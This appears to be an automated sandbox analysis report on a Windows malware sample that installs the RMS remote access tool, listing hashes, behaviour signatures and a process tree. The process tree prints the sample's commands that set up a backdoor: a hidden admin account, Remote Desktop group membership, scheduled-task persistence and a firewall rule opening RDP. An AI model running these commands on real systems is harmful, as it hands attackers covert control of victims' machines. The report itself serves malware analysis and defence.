Analysis

  • max time kernel
    147s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    14-05-2022 23:14

General

  • Target

    24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe

  • Size

    6.0MB

  • MD5

    97a2185f37cdd11207322e349b344fb7

  • SHA1

    de2933539caac225cd11768d192bb97467e67010

  • SHA256

    24b0e23df17c77d44882a2e25ecbd4d3b07015af5d44cb325679a370b8304614

  • SHA512

    ca3fd27966cd4213ac5d469e91f69dcb8c098d432628a94061acfd3a5970df794233d8473c8f2216ad0b11c97d0609eb579b6cfefb5f9330c14fb1c18129dca5

Malware Config

Signatures

  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Executes dropped EXE 5 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe
    "C:\Users\Admin\AppData\Local\Temp\24B0E23DF17C77D44882A2E25ECBD4D3B07015AF5D44C.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Program Files directory
    • Checks processor information in registry
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4576
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST
      2⤵
      • Creates scheduled task(s)
      PID:2688
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST
      2⤵
      • Creates scheduled task(s)
      PID:3448
    • C:\ProgramData\Windows Tasks Service\winserv.exe
      "C:\ProgramData\Windows Tasks Service\winserv.exe"
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:3212
      • C:\ProgramData\Windows Tasks Service\winserv.exe
        "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:4992
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c net user John 12345 /add
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4068
      • C:\Windows\SysWOW64\net.exe
        net user John 12345 /add
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2040
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user John 12345 /add
          4⤵
            PID:1208
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4364
        • C:\Windows\SysWOW64\net.exe
          net localgroup "Администраторы" John /add
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4028
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 localgroup "Администраторы" John /add
            4⤵
              PID:1924
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4904
          • C:\Windows\SysWOW64\net.exe
            net localgroup "Пользователи удаленного рабочего стола" John /add
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3832
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
              4⤵
                PID:608
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2116
            • C:\Windows\SysWOW64\net.exe
              net localgroup "Пользователи удаленного управления" john /add" John /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4908
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add
                4⤵
                  PID:3116
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3436
              • C:\Windows\SysWOW64\net.exe
                net localgroup "Administrators" John /add
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3208
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 localgroup "Administrators" John /add
                  4⤵
                    PID:2512
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4472
                • C:\Windows\SysWOW64\net.exe
                  net localgroup "Administradores" John /add
                  3⤵
                    PID:672
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 localgroup "Administradores" John /add
                      4⤵
                        PID:836
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add
                    2⤵
                      PID:552
                      • C:\Windows\SysWOW64\net.exe
                        net localgroup "Remote Desktop Users" john /add
                        3⤵
                          PID:1096
                          • C:\Windows\SysWOW64\net1.exe
                            C:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add
                            4⤵
                              PID:3672
                        • C:\ProgramData\RDPWinst.exe
                          C:\ProgramData\RDPWinst.exe -i
                          2⤵
                          • Executes dropped EXE
                          • Modifies WinLogon
                          • Drops file in System32 directory
                          • Drops file in Program Files directory
                          • Suspicious use of AdjustPrivilegeToken
                          PID:548
                          • C:\Windows\SYSTEM32\netsh.exe
                            netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
                            3⤵
                              PID:4048
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c C:\Programdata\Install\del.bat
                            2⤵
                              PID:4164
                              • C:\Windows\SysWOW64\timeout.exe
                                timeout 5
                                3⤵
                                • Delays execution with timeout.exe
                                PID:5036
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
                            1⤵
                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:2188
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                            1⤵
                              PID:2012
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                              1⤵
                              • Loads dropped DLL
                              • Drops file in Program Files directory
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4104
                            • C:\ProgramData\Windows Tasks Service\winserv.exe
                              "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                              1⤵
                              • Executes dropped EXE
                              • Checks computer location settings
                              • Suspicious use of SetWindowsHookEx
                              PID:3160
                            • C:\ProgramData\Windows Tasks Service\winserv.exe
                              "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                              1⤵
                              • Executes dropped EXE
                              • Checks computer location settings
                              • Suspicious use of SetWindowsHookEx
                              PID:3968

                            Network

                            MITRE ATT&CK Enterprise v6

                            Replay Monitor

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                            Downloads

                            • C:\Program Files\RDP Wrapper\rdpwrap.dll

                              Filesize

                              114KB

                              MD5

                              461ade40b800ae80a40985594e1ac236

                              SHA1

                              b3892eef846c044a2b0785d54a432b3e93a968c8

                              SHA256

                              798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4

                              SHA512

                              421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26

                            • C:\ProgramData\RDPWinst.exe

                              Filesize

                              1.4MB

                              MD5

                              3288c284561055044c489567fd630ac2

                              SHA1

                              11ffeabbe42159e1365aa82463d8690c845ce7b7

                              SHA256

                              ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753

                              SHA512

                              c25b28a340a23a9fa932aa95075f85fdd61880f29ef96f5179097b652f69434e0f1f8825e2648b2a0de1f4b0f9b8373080a22117974fcdf44112906d330fca02

                            • C:\ProgramData\RDPWinst.exe

                              Filesize

                              1.4MB

                              MD5

                              3288c284561055044c489567fd630ac2

                              SHA1

                              11ffeabbe42159e1365aa82463d8690c845ce7b7

                              SHA256

                              ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753

                              SHA512

                              c25b28a340a23a9fa932aa95075f85fdd61880f29ef96f5179097b652f69434e0f1f8825e2648b2a0de1f4b0f9b8373080a22117974fcdf44112906d330fca02

                            • C:\ProgramData\Windows Tasks Service\settings.dat

                              Filesize

                              2KB

                              MD5

                              483fc2e7373a9ee36cc444fca67a32a8

                              SHA1

                              c2fe2355683b670622a8e00784bec5056291e494

                              SHA256

                              2ee9e47fc7edee23653ee17475e0f040255aad1be11cfcec389335078561944d

                              SHA512

                              e3b1cf539e5a542e0cab0ac9122e6027a5d489f0ac89a67070ad21ef7611010122ff2fad8d7d1d7fd6256bdb84e404a7eb8ef31bd86b0162b82c92d49af0a7e4

                            • C:\ProgramData\Windows Tasks Service\winserv.exe

                              Filesize

                              10.2MB

                              MD5

                              3f4f5a6cb95047fea6102bd7d2226aa9

                              SHA1

                              fc09dd898b6e7ff546e4a7517a715928fbafc297

                              SHA256

                              99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                              SHA512

                              de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                            • C:\ProgramData\Windows Tasks Service\winserv.exe

                              Filesize

                              10.2MB

                              MD5

                              3f4f5a6cb95047fea6102bd7d2226aa9

                              SHA1

                              fc09dd898b6e7ff546e4a7517a715928fbafc297

                              SHA256

                              99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                              SHA512

                              de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                            • C:\ProgramData\Windows Tasks Service\winserv.exe

                              Filesize

                              10.2MB

                              MD5

                              3f4f5a6cb95047fea6102bd7d2226aa9

                              SHA1

                              fc09dd898b6e7ff546e4a7517a715928fbafc297

                              SHA256

                              99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                              SHA512

                              de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                            • C:\ProgramData\Windows Tasks Service\winserv.exe

                              Filesize

                              10.2MB

                              MD5

                              3f4f5a6cb95047fea6102bd7d2226aa9

                              SHA1

                              fc09dd898b6e7ff546e4a7517a715928fbafc297

                              SHA256

                              99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                              SHA512

                              de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                            • C:\ProgramData\Windows Tasks Service\winserv.exe

                              Filesize

                              10.2MB

                              MD5

                              3f4f5a6cb95047fea6102bd7d2226aa9

                              SHA1

                              fc09dd898b6e7ff546e4a7517a715928fbafc297

                              SHA256

                              99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                              SHA512

                              de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                            • C:\Programdata\Install\del.bat

                              Filesize

                              159B

                              MD5

                              49a9fec3ba20596a39e2bfae59ff4b3c

                              SHA1

                              b9cc7369a94831b912ed85532d7cc99f32c82040

                              SHA256

                              3a85f338cd09aefe830c7b8bac225e3d8d847b7184ecfb625ad7f46492dba681

                              SHA512

                              e5174539967fbc5dd1a4cec7d7a868c45ff58906fd2e580ba49a82b0ff6fabfb0564678d3aca37e86f9124776d7aba6c65fa0f72219e0474adcb9dc8e7484bea

                            • \??\PIPE\wkssvc

                              MD5

                              d41d8cd98f00b204e9800998ecf8427e

                              SHA1

                              da39a3ee5e6b4b0d3255bfef95601890afd80709

                              SHA256

                              e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                              SHA512

                              cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                            • \??\c:\program files\rdp wrapper\rdpwrap.dll

                              Filesize

                              114KB

                              MD5

                              461ade40b800ae80a40985594e1ac236

                              SHA1

                              b3892eef846c044a2b0785d54a432b3e93a968c8

                              SHA256

                              798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4

                              SHA512

                              421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26

                            • memory/548-159-0x0000000000000000-mapping.dmp

                            • memory/552-155-0x0000000000000000-mapping.dmp

                            • memory/608-147-0x0000000000000000-mapping.dmp

                            • memory/672-154-0x0000000000000000-mapping.dmp

                            • memory/836-156-0x0000000000000000-mapping.dmp

                            • memory/1096-157-0x0000000000000000-mapping.dmp

                            • memory/1208-141-0x0000000000000000-mapping.dmp

                            • memory/1924-144-0x0000000000000000-mapping.dmp

                            • memory/2040-140-0x0000000000000000-mapping.dmp

                            • memory/2116-145-0x0000000000000000-mapping.dmp

                            • memory/2512-152-0x0000000000000000-mapping.dmp

                            • memory/2688-130-0x0000000000000000-mapping.dmp

                            • memory/3116-150-0x0000000000000000-mapping.dmp

                            • memory/3208-151-0x0000000000000000-mapping.dmp

                            • memory/3212-132-0x0000000000000000-mapping.dmp

                            • memory/3436-149-0x0000000000000000-mapping.dmp

                            • memory/3448-131-0x0000000000000000-mapping.dmp

                            • memory/3672-158-0x0000000000000000-mapping.dmp

                            • memory/3832-146-0x0000000000000000-mapping.dmp

                            • memory/4028-143-0x0000000000000000-mapping.dmp

                            • memory/4048-164-0x0000000000000000-mapping.dmp

                            • memory/4068-138-0x0000000000000000-mapping.dmp

                            • memory/4164-165-0x0000000000000000-mapping.dmp

                            • memory/4364-139-0x0000000000000000-mapping.dmp

                            • memory/4472-153-0x0000000000000000-mapping.dmp

                            • memory/4904-142-0x0000000000000000-mapping.dmp

                            • memory/4908-148-0x0000000000000000-mapping.dmp

                            • memory/4992-135-0x0000000000000000-mapping.dmp

                            • memory/5036-167-0x0000000000000000-mapping.dmp